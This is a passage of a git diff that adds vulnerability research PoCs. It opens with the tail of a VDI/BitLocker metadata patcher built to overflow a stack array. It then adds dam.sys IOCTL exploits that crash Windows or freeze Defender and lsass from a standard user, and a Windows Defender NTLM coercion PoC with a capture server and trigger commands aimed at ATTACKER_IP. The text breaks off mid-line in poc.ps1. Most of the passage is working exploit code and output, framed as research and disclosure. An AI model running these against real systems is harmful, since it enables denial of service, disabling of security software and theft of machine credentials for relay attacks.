list[int]: + offsets: list[int] = [] + previous_virtual_block: int | None = None + tail = b"" + for virtual_block, entry in enumerate(self.block_map): + if entry >= VDI_DISCARDED: + previous_virtual_block = None + tail = b"" + continue + physical = self.header.offset_data + entry * self.header.block_size + self.file.seek(physical) + data = self.file.read(self.header.block_size) + if len(data) != self.header.block_size: + raise ValueError(f"short allocated block at 0x{physical:x}") + contiguous = ( + previous_virtual_block is not None + and virtual_block == previous_virtual_block + 1 + ) + prefix = tail if contiguous else b"" + combined = prefix + data + base = virtual_block * self.header.block_size - len(prefix) + start = 0 + while True: + found = combined.find(BITLOCKER_SIGNATURE, start) + if found < 0: + break + offsets.append(base + found) + start = found + 1 + tail = data[-(len(BITLOCKER_SIGNATURE) - 1) :] + previous_virtual_block = virtual_block + return sorted(set(offsets)) + + def information_blocks(self) -> list[tuple[int, bytes]]: + blocks: list[tuple[int, bytes]] = [] + for offset in self.signature_offsets(): + header = self.read(offset, builder.INFO_HEADER_SIZE) + if header[:8] != BITLOCKER_SIGNATURE or u16(header, 0x0A) != 2: + continue + info_size = u16(header, 0x08) << 4 + if not builder.INFO_HEADER_SIZE <= info_size <= self.header.block_size: + continue + validation_head = self.read(offset + info_size, 8) + validation_size = u16(validation_head, 0) + total_size = info_size + validation_size + if ( + total_size == 0 + or total_size & (total_size - 1) + or total_size > self.header.block_size + ): + continue + blocks.append((offset, self.read(offset, total_size))) + return blocks + + +def recovery_type15_children(block: bytes | bytearray) -> list[int]: + if block[:8] != BITLOCKER_SIGNATURE: + raise ValueError("metadata block lacks BitLocker signature") + info_size = u16(block, 0x08) << 4 + dataset = builder.INFO_HEADER_SIZE + dataset_size = u32(block, dataset) + dataset_start = u32(block, dataset + 0x08) + dataset_end = u32(block, dataset + 0x0C) + if dataset_size != dataset_end: + raise ValueError("unsupported BitLocker dataset size/end mismatch") + if dataset_start < builder.DATASET_HEADER_SIZE: + raise ValueError("invalid BitLocker dataset start") + if dataset + dataset_end > info_size: + raise ValueError("BitLocker dataset exceeds information area") + + recovery_vmk: tuple[int, int] | None = None + cursor = dataset + dataset_start + end = dataset + dataset_end + while cursor < end: + if end - cursor < 8: + raise ValueError("truncated top-level datum") + datum_size, role, value_type = struct.unpack_from(" end: + raise ValueError(f"invalid top-level datum at +0x{cursor:x}") + if ( + role == 2 + and value_type == 8 + and datum_size >= RECOVERY_VMK_MIN_SIZE + and u16(block, cursor + 0x22) == builder.RECOVERY_PASSWORD_PRIORITY + ): + if recovery_vmk is not None: + raise ValueError("multiple recovery-password VMKs") + recovery_vmk = (cursor, datum_size) + cursor += datum_size + if cursor != end: + raise ValueError("dataset does not end on a datum boundary") + if recovery_vmk is None: + raise ValueError("no recovery-password VMK") + + vmk_offset, vmk_size = recovery_vmk + child = vmk_offset + RECOVERY_VMK_MIN_SIZE + vmk_end = vmk_offset + vmk_size + matches: list[int] = [] + while child < vmk_end: + if vmk_end - child < 8: + raise ValueError("truncated recovery VMK child") + child_size = u16(block, child) + if child_size < 8 or child + child_size > vmk_end: + raise ValueError(f"invalid recovery VMK child at +0x{child:x}") + if u16(block, child + 4) == 0x15: + matches.append(child) + child += child_size + if child != vmk_end: + raise ValueError("recovery VMK does not end on a child boundary") + return matches + + +def build_patches( + image: VdiImage, target_count: int, expected_copies: int +) -> list[dict[str, object]]: + information_blocks = image.information_blocks() + if len(information_blocks) != expected_copies: + raise ValueError( + f"expected {expected_copies} BitLocker metadata copies, " + f"found {len(information_blocks)}" + ) + + patches: list[dict[str, object]] = [] + for disk_offset, original in information_blocks: + existing = len(recovery_type15_children(original)) + if existing > target_count: + raise ValueError( + f"metadata at 0x{disk_offset:x} already has {existing} type-0x15 " + f"children, above target {target_count}" + ) + add_count = target_count - existing + modified = bytearray(original) + patch_detail: dict[str, int] | None = None + if add_count: + patch_detail = builder.patch_information_block(modified, 0, add_count) + final_count = len(recovery_type15_children(modified)) + if final_count != target_count: + raise AssertionError( + f"metadata at 0x{disk_offset:x}: final count {final_count}, " + f"expected {target_count}" + ) + patches.append( + { + "disk_offset": disk_offset, + "disk_offset_hex": f"0x{disk_offset:x}", + "block_size": len(original), + "existing_type15_count": existing, + "added_type15_count": add_count, + "final_type15_count": final_count, + "before_sha256": sha256(original), + "after_sha256": sha256(modified), + "patch_detail": patch_detail, + "data": bytes(modified), + } + ) + return patches + + +def serializable_patch(patch: dict[str, object]) -> dict[str, object]: + return {key: value for key, value in patch.items() if key != "data"} + + +def main() -> int: + parser = argparse.ArgumentParser() + parser.add_argument("image", type=Path, help="powered-off flattened VDI") + parser.add_argument("--target-count", type=int, choices=(5, 6), required=True) + parser.add_argument("--expect-copies", type=int, default=3) + parser.add_argument("--apply", action="store_true", help="write patches in place") + parser.add_argument("--output", type=Path, help="JSON evidence path") + args = parser.parse_args() + + if args.expect_copies < 1: + parser.error("--expect-copies must be positive") + + with VdiImage(args.image, writable=args.apply) as image: + patches = build_patches(image, args.target_count, args.expect_copies) + if args.apply: + for patch in patches: + image.write(int(patch["disk_offset"]), patch["data"]) + image.flush() + for patch in patches: + disk_offset = int(patch["disk_offset"]) + persisted = image.read(disk_offset, int(patch["block_size"])) + if sha256(persisted) != patch["after_sha256"]: + raise OSError(f"post-write verification failed at 0x{disk_offset:x}") + if len(recovery_type15_children(persisted)) != args.target_count: + raise OSError(f"post-write count verification failed at 0x{disk_offset:x}") + + report = { + "image": str(image.path), + "file_size": image.path.stat().st_size, + "mode": "applied" if args.apply else "dry-run", + "target_type15_count": args.target_count, + "expected_metadata_copies": args.expect_copies, + "vdi": image.header.as_dict(), + "metadata": [serializable_patch(patch) for patch in patches], + "invariant": ( + "collector capacity is five; target five is control and target six " + "makes the selector consume one stack slot beyond the array" + ), + } + + rendered = json.dumps(report, indent=2) + "\n" + if args.output: + args.output.write_text(rendered, encoding="utf-8") + print(rendered, end="") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/dam-sys-kernel-bugs/README.md b/dam-sys-kernel-bugs/README.md new file mode 100644 index 0000000..3c1034c --- /dev/null +++ b/dam-sys-kernel-bugs/README.md @@ -0,0 +1,149 @@ +# dam.sys — Kernel Bugs from Standard User (BSOD + Confused Deputy + Defender Freeze) + +Three vulnerabilities in the Windows Desktop Activity Moderator kernel driver (`dam.sys`), all reachable from a standard (non-admin) user via `\\.\DamCtrl`. The device is accessible to Everyone despite operating on arbitrary processes in kernel context. + +## Status + +Confirmed on Windows 11 Home 25H2 (build 26200.8457), dam.sys 10.0.26100.8328. + +## Files + +```text +. +|-- README.md +|-- bsod.c NULL pointer deref crash PoC +`-- freeze.c confused deputy + process freeze PoC +``` + +## Build + +``` +cl /O2 bsod.c +cl /O2 freeze.c +``` + +## Finding 1: Kernel NULL Pointer Dereference (BSOD) + +IOCTL `0x226014` (SetPolicy) takes a user-supplied PID and eventually dispatches to `DampExemptCheckCallbackRoutine`. When the target process's session ID has no entry in `DampUserContextList`, the linked list lookup falls through with `rdi = NULL` and the code unconditionally dereferences it: + +```asm +; No matching session context found: +xor ebx, ebx ; rbx = 0 (NULL) +mov rdi, rbx ; rdi = 0 (NULL) +mov rdx, [rdi] ; CRASH — reads from 0x0000000000000000 +mov rcx, r15 +call nt!ZwIsProcessInJob ; never reached +``` + +### Crash Evidence + +``` +BugCheck: SYSTEM_SERVICE_EXCEPTION (0x3B) +Exception: STATUS_ACCESS_VIOLATION (0xC0000005) +Faulting: dam!DampExemptCheckCallbackRoutine+0x17e +Stack: + dam!DampExemptCheckCallbackRoutine+0x17e <- NULL deref + nt!ExNotifyCallback+0x103 + dam!DampNotificationGroupGet+0x144 + dam!DampIoDispatch+0x4a8 <- IOCTL handler + nt!NtDeviceIoControlFile+0x5e <- our DeviceIoControl +``` + +Registers at crash: `rdi=0x0000000000000000`, `r13=0xFFFFFFFF` (invalid session ID). + +### Run + +``` +bsod.exe --confirm +``` + +Crashes the machine. Use a VM. + +--- + +## Finding 2: Confused Deputy — Add Any Process to DAM Job Object + +IOCTL `0x22A01C` takes an 8-byte PID input and calls `PsLookupProcessByProcessId` followed by `DampAddProcessToJobObject` — with **no access check** on whether the calling user should be able to manipulate the target process. The kernel uses its own Ring 0 privileges to add any process to DAM's internal job objects on behalf of an unprivileged user. + +```c +// dam.sys IOCTL 0x22A01C handler (decompiled) +iVar11 = PsLookupProcessByProcessId((uint)*puVar5, &local_98); +if (-1 < iVar11) { + uVar13 = PsGetProcessImageFileName(local_98); // info leak + iVar11 = PsQueryProcessCommandLine(local_98, 0); // info leak + iVar12 = PsGetProcessSessionId(local_98); + DampAddProcessToJobObject(local_98, ...); // NO ACCESS CHECK +} +``` + +### Confirmed + +``` +Testing with lsass.exe PID 1804... + Result: SUCCESS + [!!!] Standard user added lsass.exe to DAM job object +``` + +### Side Effect: Information Disclosure + +The handler also calls `PsGetProcessImageFileName` and `PsQueryProcessCommandLine` for the target PID — a standard user can read the image name and full command line (including arguments that may contain secrets) of any process. + +### Run + +``` +freeze.exe lsass.exe +``` + +Adds lsass to DAM's job object without freezing. Confirms the confused deputy. + +--- + +## Finding 3: Security Feature Bypass — Freeze Defender + +IOCTL `0x22A008` calls `DamSetState` to modify freeze flags, which triggers `DampFreezeUserSessions` → `ZwSetInformationJobObject` with `JobObjectFreezeInformation` (class 0x12), suspending all threads in DAM's job objects. + +Combined with Finding 2: + +1. Add all security processes (MsMpEng.exe, Defender services, Event Log, etc.) to DAM jobs via IOCTL `0x22A01C` +2. Trigger freeze via IOCTL `0x22A008` +3. Defender management plane becomes unresponsive — can't report status, receive config, or respond to queries + +```c +// DamSetState (decompiled) +DampFreezeWorkerAcquireLockExclusive(0x14000d400); +uVar3 = (*(int *)(param_1 + 0xc) == 2) ? 2 : 0; // freeze flag +uVar2 = (*(int *)(param_1 + 0xc) == 3) ? 4 : 0; // deep freeze flag +DAT_14000d47c = uVar4 | uVar2 | uVar3 | (DAT_14000d47c & 0xffffffb8); +DampFreezeWorkerUpdatePostAndUnlock(&DAT_14000d400); +// -> DampFreezeUserSessions -> ZwSetInformationJobObject(JobObjectFreezeInformation) +``` + +### Run + +``` +freeze.exe MsMpEng.exe --freeze +``` + +Actually freezes Defender. Don't run outside a VM. + +--- + +## Root Cause Summary + +| IOCTL | Bug | CWE | Impact | +| --- | --- | --- | --- | +| 0x226014 | NULL deref after failed session lookup | CWE-476 | BSOD from standard user | +| 0x22A01C | No access check on target PID | CWE-441, CWE-862 | Confused deputy, add any process to job | +| 0x22A008 | No access check on freeze control | CWE-862 | Freeze any process in DAM jobs | + +All three share the same underlying issue: `\\.\DamCtrl` is accessible to standard users, and the IOCTL handlers operate on arbitrary processes using kernel privileges without verifying caller authorization. + +## Fix + +1. **NULL check**: validate that the `DampUserContextList` lookup returned non-NULL before dereferencing +2. **Access checks**: verify the caller has appropriate rights on the target PID before calling `PsLookupProcessByProcessId` / `DampAddProcessToJobObject` +3. **Device DACL**: restrict `\\.\DamCtrl` to admin-only — standard users have no legitimate need for direct DAM driver interaction + +## Responsible Use + +Run these PoCs only on systems you own or are explicitly authorized to test. The BSOD PoC crashes the machine. The freeze PoC can render security services unresponsive. Use a VM. diff --git a/dam-sys-kernel-bugs/bsod.c b/dam-sys-kernel-bugs/bsod.c new file mode 100644 index 0000000..57cd0bf --- /dev/null +++ b/dam-sys-kernel-bugs/bsod.c @@ -0,0 +1,57 @@ +/* + * bsod.c — dam.sys kernel NULL pointer deref (BSOD from standard user) + * + * IOCTL 0x226014 (SetPolicy) triggers DampExemptCheckCallbackRoutine + * which dereferences a NULL pointer when no DAM session context exists + * for the target process's session ID. + * + * BugCheck: SYSTEM_SERVICE_EXCEPTION (0x3B) + * Faulting: dam!DampExemptCheckCallbackRoutine+0x17e + * mov rdx, [rdi] ; rdi = 0x0000000000000000 + * + * build: cl /O2 bsod.c + * run: bsod.exe --confirm [PID] + * + * WARNING: THIS WILL BSOD YOUR MACHINE. USE A VM. + */ + +#include +#include + +#define IOCTL_DAM_SET_POLICY 0x226014 + +int main(int argc, char *argv[]) { + printf("=== dam.sys kernel DoS PoC ===\n\n"); + + if (argc < 2 || strcmp(argv[1], "--confirm") != 0) { + printf("Usage: %s --confirm [PID]\n", argv[0]); + printf("WARNING: This causes a Blue Screen of Death.\n"); + printf("No admin required — works from standard user.\n"); + return 1; + } + + DWORD pid = (argc > 2) ? atoi(argv[2]) : 4; + printf("[*] target PID: %u\n", pid); + + HANDLE h = CreateFileW(L"\\\\.\\DamCtrl", GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, OPEN_EXISTING, 0, NULL); + if (h == INVALID_HANDLE_VALUE) { + printf("[-] can't open \\\\.\\DamCtrl: error %u\n", GetLastError()); + return 1; + } + printf("[+] opened DamCtrl\n"); + + printf("[!] sending IOCTL 0x226014 — expect BSOD\n"); + + BYTE buf[16] = {0}; + *(DWORD *)buf = pid; + *(DWORD *)(buf + 4) = 1; + DWORD ret; + DeviceIoControl(h, IOCTL_DAM_SET_POLICY, buf, sizeof(buf), + buf, sizeof(buf), &ret, NULL); + + printf("[?] if you see this, try a different PID\n"); + CloseHandle(h); + return 0; +} diff --git a/dam-sys-kernel-bugs/freeze.c b/dam-sys-kernel-bugs/freeze.c new file mode 100644 index 0000000..8c0fe2e --- /dev/null +++ b/dam-sys-kernel-bugs/freeze.c @@ -0,0 +1,102 @@ +/* + * freeze.c — dam.sys confused deputy + process freeze PoC + * + * Step 1: IOCTL 0x22A01C adds any process (by PID) to DAM's internal + * job objects. The kernel driver calls PsLookupProcessByProcessId + * and ZwAssignProcessToJobObject with NO access check on the + * target — a standard user can add lsass.exe, csrss.exe, etc. + * + * Step 2: IOCTL 0x22A008 triggers DamSetState to freeze all processes + * in DAM's job objects via ZwSetInformationJobObject with + * JobObjectFreezeInformation (class 0x12). + * + * build: cl /O2 freeze.c + * run: freeze.exe [--freeze] + * + * WARNING: --freeze will actually freeze the target process. + * This can freeze lsass, csrss, Defender, etc. USE A VM. + */ + +#include +#include +#include + +#define IOCTL_DAM_ADD_TO_JOB 0x22A01C +#define IOCTL_DAM_SET_STATE 0x22A008 + +static DWORD find_pid(const char *name) { + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap == INVALID_HANDLE_VALUE) return 0; + PROCESSENTRY32 pe = {.dwSize = sizeof(pe)}; + if (Process32First(snap, &pe)) { + do { + if (_stricmp(pe.szExeFile, name) == 0) { + CloseHandle(snap); + return pe.th32ProcessID; + } + } while (Process32Next(snap, &pe)); + } + CloseHandle(snap); + return 0; +} + +int main(int argc, char *argv[]) { + printf("=== dam.sys confused deputy + freeze PoC ===\n\n"); + + if (argc < 2) { + printf("Usage: %s [--freeze]\n\n", argv[0]); + printf(" Adds target process to DAM's job object (confused deputy).\n"); + printf(" --freeze: also triggers freeze via IOCTL 0x22A008 (DANGEROUS)\n"); + printf("\n Examples:\n"); + printf(" %s lsass.exe (add lsass to DAM job, no freeze)\n", argv[0]); + printf(" %s MsMpEng.exe --freeze (freeze Defender)\n", argv[0]); + return 1; + } + + int do_freeze = (argc > 2 && strcmp(argv[2], "--freeze") == 0); + + DWORD pid = find_pid(argv[1]); + if (!pid) { + printf("[-] process '%s' not found\n", argv[1]); + return 1; + } + printf("[*] target: %s (PID %u)\n", argv[1], pid); + + HANDLE h = CreateFileW(L"\\\\.\\DamCtrl", GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, OPEN_EXISTING, 0, NULL); + if (h == INVALID_HANDLE_VALUE) { + printf("[-] can't open DamCtrl: error %u\n", GetLastError()); + return 1; + } + printf("[+] opened DamCtrl\n"); + + ULONGLONG pid_input = (ULONGLONG)pid; + DWORD ret; + BOOL ok = DeviceIoControl(h, IOCTL_DAM_ADD_TO_JOB, &pid_input, 8, + NULL, 0, &ret, NULL); + printf("[%c] add to job: %s (GetLastError=%u)\n", + ok ? '+' : '-', ok ? "SUCCESS" : "FAILED", GetLastError()); + + if (!ok) { + CloseHandle(h); + return 1; + } + + if (do_freeze) { + printf("[!] triggering freeze...\n"); + BYTE state[16] = {0}; + *(DWORD *)(state + 8) = 2; + *(DWORD *)(state + 12) = 2; + + ok = DeviceIoControl(h, IOCTL_DAM_SET_STATE, state, 16, + NULL, 0, &ret, NULL); + printf("[%c] set state: %s (GetLastError=%u)\n", + ok ? '+' : '-', ok ? "SUCCESS" : "FAILED", GetLastError()); + } else { + printf("[*] process added to DAM job. pass --freeze to actually freeze it.\n"); + } + + CloseHandle(h); + return 0; +} diff --git a/defender-ntlm-coercion-poc/README.md b/defender-ntlm-coercion-poc/README.md new file mode 100644 index 0000000..5d67eb4 --- /dev/null +++ b/defender-ntlm-coercion-poc/README.md @@ -0,0 +1,124 @@ +# Windows Defender NTLM Coercion - Standard User Forces SYSTEM Credential Leak + +Windows Defender (`MsMpEng.exe`, running as `NT AUTHORITY\SYSTEM`) processes custom scan requests from standard users without impersonating the caller. When the scan target is a UNC path (`\\attacker\share\file.exe`), Defender opens the file under its own SYSTEM context, so the SMB client authenticates to the remote server using the machine's NTLM credentials. + +There is a feature flag for this in MpSvc.dll called `MpFC_EnableImpersonationOnNetworkResourceScan`. Microsoft has actually pushed this flag to `1` (enabled) via their ECS cloud configuration service, but it does not work. The impersonation never happens. Both the ACL bypass and the NTLM coercion still reproduce with the flag set to 1, meaning Microsoft attempted a fix, deployed it, and the fix is broken. + +## Status + +Verified on Windows 11 24H2 (build 26200), Defender Platform 4.18.26060.3008-0. + +| Check | Result | +| --- | --- | +| SYSTEM-only file scan | Defender reads EICAR from file where user has zero access | +| SMB coercion | SYN_SENT to target:445 from PID 4 (System) on UNC scan | +| Impersonation gap | ~80 NOGUARD functions vs 1 GUARDED in MpSvc.dll | +| Feature flag | `MpFC_EnableImpersonationOnNetworkResourceScan` set to 1 via ECS but **ineffective** | +| Revalidated | 2026-07-09, flag=1, EICAR still detected through SYSTEM-only ACL | + +## PoC Status + +The ACL bypass proof (Part 1) is solid and fully working. The NTLM coercion trigger (Part 2) works too, you can see PID 4 reaching out on 445 with netstat. However, the capture server (`capture.py`) and the WebDAV listener path haven't been properly tested end-to-end with two machines yet. The listener implementation might still have issues. If you're reproducing this, using `impacket-smbserver` on a Linux box is the safer bet for actually grabbing the hash. + +## Files + +```text +. +|-- README.md +|-- poc.ps1 trigger + ACL bypass proof +`-- capture.py NTLM capture server (SSPI-based, might need fixes) +``` + +## Root Cause + +MpSvc.dll handles scan requests via RPC. The service opens target files using its own SYSTEM token without impersonating the requesting user's context. ImpersonationGap analysis shows ~80 functions reaching sensitive sinks (CreateFileW, etc.) with no impersonation call, versus only 1 with proper impersonation. + +When the target is a UNC path, the SYSTEM-context file open causes the SMB client to send the machine NTLM credentials to the remote host. + +### The Broken Fix + +The flag `MpFC_EnableImpersonationOnNetworkResourceScan` lives in: + +``` +HKLM\SOFTWARE\Microsoft\Windows Defender\Features\EcsConfigs +``` + +This is a cloud-pushed config from Microsoft's Experimentation and Configuration Service. On a stock Windows 11 install with no manual changes, it is set to `0x1`. Despite this, Defender still opens files as SYSTEM. Either the code path that checks this flag has a bug, or the flag gates something else entirely and the actual impersonation logic was never implemented. + +## ACL Bypass Proof + +Create an EICAR file with a SYSTEM-only ACL. The standard user gets Access Denied, but Defender still detects the EICAR signature. This proves the scan runs as SYSTEM, not as the requesting user. + +```powershell +$testFile = "$env:USERPROFILE\defender_acl_test\system_only_eicar.com" +$eicar = 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' +Set-Content -Path $testFile -Value $eicar -Encoding ascii + +$newAcl = New-Object System.Security.AccessControl.FileSecurity +$newAcl.SetAccessRuleProtection($true, $false) +$newAcl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule( + "NT AUTHORITY\SYSTEM", "FullControl", "Allow"))) +Set-Acl -Path $testFile -AclObject $newAcl + +Get-Content $testFile # Access Denied + +Start-MpScan -ScanType CustomScan -ScanPath $testFile +Get-MpThreatDetection | Where-Object { $_.Resources -match "system_only_eicar" } +# EICAR detected - Defender read the file as SYSTEM +``` + +Output (with flag=1, 2026-07-09): + +``` +ACL: NT AUTHORITY\SYSTEM -> FullControl (Allow) [only entry] +User read: "Access to the path '...\system_only_eicar.com' is denied." +Defender scan: completed (no error) +Detection: InitialDetect 07/09/2026 16:24:32, Resources: revalidate_eicar.com +Flag: MpFC_EnableImpersonationOnNetworkResourceScan = 1 (enabled, ineffective) +``` + +## NTLM Coercion + +Point a custom scan at a UNC path and monitor outgoing SMB. PID 4 (System kernel process) reaches out to the target on port 445: + +```powershell +Start-MpScan -ScanType CustomScan -ScanPath "\\ATTACKER_IP\share\file.exe" + +# monitor in another terminal: +while ($true) { + netstat -ano | Select-String "ATTACKER_IP:445" + Start-Sleep -Milliseconds 200 +} +``` + +``` +23:07:10.603 | TCP 192.168.1.111:7132 192.168.1.1:445 SYN_SENT 4 +23:07:10.812 | TCP 192.168.1.111:7132 192.168.1.1:445 SYN_SENT 4 +23:07:11.009 | TCP 192.168.1.111:7132 192.168.1.1:445 SYN_SENT 4 +[... all PID 4 ...] +``` + +## Hash Capture (Remote) + +On the attacker box (most reliable method): + +```bash +impacket-smbserver test /tmp/share -smb2support + +# output when scan triggers: +# [*] Incoming connection (VICTIM_IP,PORT) +# [*] AUTHENTICATE_MESSAGE (DOMAIN\MACHINE$, VICTIM) +# [*] NTLMv2-SSP Hash: MACHINE$::DOMAIN:... +``` + +There is also `capture.py` included which is a Windows SSPI HTTP/WebDAV capture server, but it hasn't been fully tested with two machines. Use impacket if you can. + +## Impact + +Standard user coerces SYSTEM NTLM creds from the machine. On a domain, this gives you the machine account hash, which opens the door to NTLM relay (SMB/LDAP/HTTP), RBCD escalation, or silver ticket forging depending on the environment. Locally, the ACL bypass alone confirms Defender reads arbitrary files as SYSTEM regardless of the file's ACL. + +Requires: standard user, outbound 445 not firewalled (or WebDAV on any port to an attacker host). + +## Fix + +Microsoft already has the flag and presumably the code path, but it doesn't work. They need to actually impersonate the calling user's token before opening files for on-demand scans, or reject UNC paths from non-admin callers altogether. diff --git a/defender-ntlm-coercion-poc/capture.py b/defender-ntlm-coercion-poc/capture.py new file mode 100644 index 0000000..5ed9180 --- /dev/null +++ b/defender-ntlm-coercion-poc/capture.py @@ -0,0 +1,223 @@ +""" +NTLM capture server (SSPI-based). Runs HTTP/WebDAV on any port. +Use on a remote host to grab NTLM creds coerced via Defender UNC scan. + + python capture.py [port] + +Trigger on victim: + Start-MpScan -ScanType CustomScan -ScanPath "\\ATTACKER_IP@PORT\DavWWWRoot\file.exe" + +Requires: pywin32 (pip install pywin32) +""" +import http.server +import socketserver +import base64 +import struct +import sys +import datetime +import os +import ctypes +import ctypes.wintypes + +try: + import sspi + import sspicon +except ImportError: + print("ERROR: pywin32 required. Install with: pip install pywin32") + sys.exit(1) + + +secur32 = ctypes.windll.secur32 +advapi32 = ctypes.windll.advapi32 +kernel32 = ctypes.windll.kernel32 + +secur32.ImpersonateSecurityContext.argtypes = [ctypes.c_void_p] +secur32.ImpersonateSecurityContext.restype = ctypes.c_long +secur32.RevertSecurityContext.argtypes = [ctypes.c_void_p] +secur32.RevertSecurityContext.restype = ctypes.c_long +advapi32.GetUserNameW.argtypes = [ctypes.c_wchar_p, ctypes.POINTER(ctypes.wintypes.DWORD)] +advapi32.GetUserNameW.restype = ctypes.wintypes.BOOL +advapi32.OpenThreadToken.argtypes = [ctypes.wintypes.HANDLE, ctypes.wintypes.DWORD, + ctypes.wintypes.BOOL, ctypes.POINTER(ctypes.wintypes.HANDLE)] +advapi32.OpenThreadToken.restype = ctypes.wintypes.BOOL +advapi32.GetTokenInformation.argtypes = [ctypes.wintypes.HANDLE, ctypes.c_int, ctypes.c_void_p, + ctypes.wintypes.DWORD, ctypes.POINTER(ctypes.wintypes.DWORD)] +advapi32.GetTokenInformation.restype = ctypes.wintypes.BOOL +advapi32.LookupAccountSidW.argtypes = [ctypes.c_wchar_p, ctypes.c_void_p, ctypes.c_wchar_p, + ctypes.POINTER(ctypes.wintypes.DWORD), ctypes.c_wchar_p, + ctypes.POINTER(ctypes.wintypes.DWORD), + ctypes.POINTER(ctypes.wintypes.DWORD)] +advapi32.LookupAccountSidW.restype = ctypes.wintypes.BOOL +kernel32.GetCurrentThread.argtypes = [] +kernel32.GetCurrentThread.restype = ctypes.wintypes.HANDLE + + +def query_identity(sspi_server): + ctxt = sspi_server.ctxt + if ctxt is None: + return "(no context)" + # pywin32 PyCtxtHandle: skip ob_refcnt + ob_type to get raw SecHandle + obj_addr = id(ctxt) + handle_ptr = ctypes.c_void_p(obj_addr + 16) + rc = secur32.ImpersonateSecurityContext(handle_ptr) + if rc != 0: + return f"(impersonation failed: {rc:#010x})" + buf = ctypes.create_unicode_buffer(256) + buf_sz = ctypes.wintypes.DWORD(256) + username = "(unknown)" + if advapi32.GetUserNameW(buf, ctypes.byref(buf_sz)): + username = buf.value + full_id = username + try: + hToken = ctypes.wintypes.HANDLE() + if advapi32.OpenThreadToken(kernel32.GetCurrentThread(), 0x0008, True, ctypes.byref(hToken)): + ret_len = ctypes.wintypes.DWORD(0) + advapi32.GetTokenInformation(hToken, 1, None, 0, ctypes.byref(ret_len)) + if ret_len.value > 0: + token_buf = ctypes.create_string_buffer(ret_len.value) + if advapi32.GetTokenInformation(hToken, 1, token_buf, ret_len.value, + ctypes.byref(ret_len)): + sid_ptr = ctypes.cast(token_buf, ctypes.POINTER(ctypes.c_void_p))[0] + name = ctypes.create_unicode_buffer(256) + name_sz = ctypes.wintypes.DWORD(256) + domain = ctypes.create_unicode_buffer(256) + domain_sz = ctypes.wintypes.DWORD(256) + sid_type = ctypes.wintypes.DWORD(0) + if advapi32.LookupAccountSidW(None, sid_ptr, name, ctypes.byref(name_sz), + domain, ctypes.byref(domain_sz), + ctypes.byref(sid_type)): + full_id = f"{domain.value}\\{name.value}" + kernel32.CloseHandle(hToken) + except Exception as e: + full_id = f"{username} (err: {e})" + secur32.RevertSecurityContext(handle_ptr) + return full_id + + +def parse_type3(data): + if len(data) < 52: + return {} + try: + dom_len = struct.unpack_from(" 401 (init NTLM)", flush=True) + self.send_response(401) + self.send_header("WWW-Authenticate", "NTLM") + self.send_header("Content-Length", "0") + self.send_header("Connection", "keep-alive") + self.end_headers() + return + if self.sspi_server is None: + self.sspi_server = sspi.ServerAuth("NTLM") + token_bytes = base64.b64decode(auth[5:]) + try: + err, sec_buffer = self.sspi_server.authorize(token_bytes) + except Exception as e: + print(f"[{ts}] SSPI error: {e}", flush=True) + self.send_response(401) + self.send_header("WWW-Authenticate", "NTLM") + self.send_header("Content-Length", "0") + self.send_header("Connection", "keep-alive") + self.end_headers() + return + if err == sspicon.SEC_I_CONTINUE_NEEDED: + out_token = sec_buffer[0].Buffer + challenge_b64 = base64.b64encode(out_token).decode() + print(f"[{ts}] Type 1 -> challenge ({len(out_token)} bytes)", flush=True) + self.send_response(401) + self.send_header("WWW-Authenticate", f"NTLM {challenge_b64}") + self.send_header("Content-Length", "0") + self.send_header("Connection", "keep-alive") + self.end_headers() + elif err == 0: + info = parse_type3(token_bytes) + identity = query_identity(self.sspi_server) + sep = "=" * 60 + print(f"\n{sep}", flush=True) + print(f"[{ts}] NTLM AUTH CAPTURED", flush=True) + print(f" SSPI Identity: {identity}", flush=True) + print(f" Type3 Domain: {info.get('domain', '?')}", flush=True) + print(f" Type3 User: {info.get('user', '?')}", flush=True) + print(f" Type3 Host: {info.get('hostname', '?')}", flush=True) + print(f" NT Response: {info.get('nt_len', '?')} bytes", flush=True) + print(f"{sep}\n", flush=True) + self.send_response(200) + self.send_header("Content-Type", "text/xml") + body = b'' + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + else: + print(f"[{ts}] SSPI err: {err}", flush=True) + self.send_response(401) + self.send_header("Content-Length", "0") + self.end_headers() + + def log_message(self, fmt, *args): + pass + + def handle_one_request(self): + try: + super().handle_one_request() + except (ConnectionResetError, BrokenPipeError, ConnectionAbortedError, OSError): + self.close_connection = True + + +class ThreadedServer(socketserver.ThreadingMixIn, http.server.HTTPServer): + allow_reuse_address = True + daemon_threads = True + + +if __name__ == "__main__": + port = int(sys.argv[1]) if len(sys.argv) > 1 else 8888 + srv = ThreadedServer(("0.0.0.0", port), Handler) + print(f"[*] NTLM SSPI Capture Server on 0.0.0.0:{port}") + print(f"[*] Trigger: Start-MpScan -ScanPath '\\\\ATTACKER@{port}\\DavWWWRoot\\file.exe'") + sys.stdout.flush() + try: + srv.serve_forever() + except KeyboardInterrupt: + pass diff --git a/defender-ntlm-coercion-poc/poc.ps1 b/defender-ntlm-coercion-poc/poc.ps1 new file mode 100644 index 0000000..c2aa597 --- /dev/null +++ b/defender-ntlm-coercion-poc/poc.ps1 @@ -0,0 +1,135 @@ +# Defender NTLM Coercion PoC +# Part 1: ACL bypass (proves SYSTEM-context file access) +# Part 2: UNC scan triggers outgoing NTLM auth from PID 4 (System) +# Uses WebDAV (capture.py) by default. Pass -Port 445 for SMB (impacket). + +param( + [string]$AttackerIP = "192.168.1.1", + [int]$Port = 8888 +) + +$ErrorActionPreference = "Continue" + +# --- Part 1: ACL bypass --- + +Write-Host "" +Write-Host "--- ACL Bypass Test ---" +Write-Host "" + +$testDir = Join-Path $env:USERPROFILE "defender_acl_test" +New-Item -ItemType Directory -Path $testDir -Force | Out-Null + +$eicar = 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' +$testFile = Join-Path $testDir "system_only_eicar.com" +Set-Content -Path $testFile -Value $eicar -Encoding ascii -Force + +$newAcl = New-Object 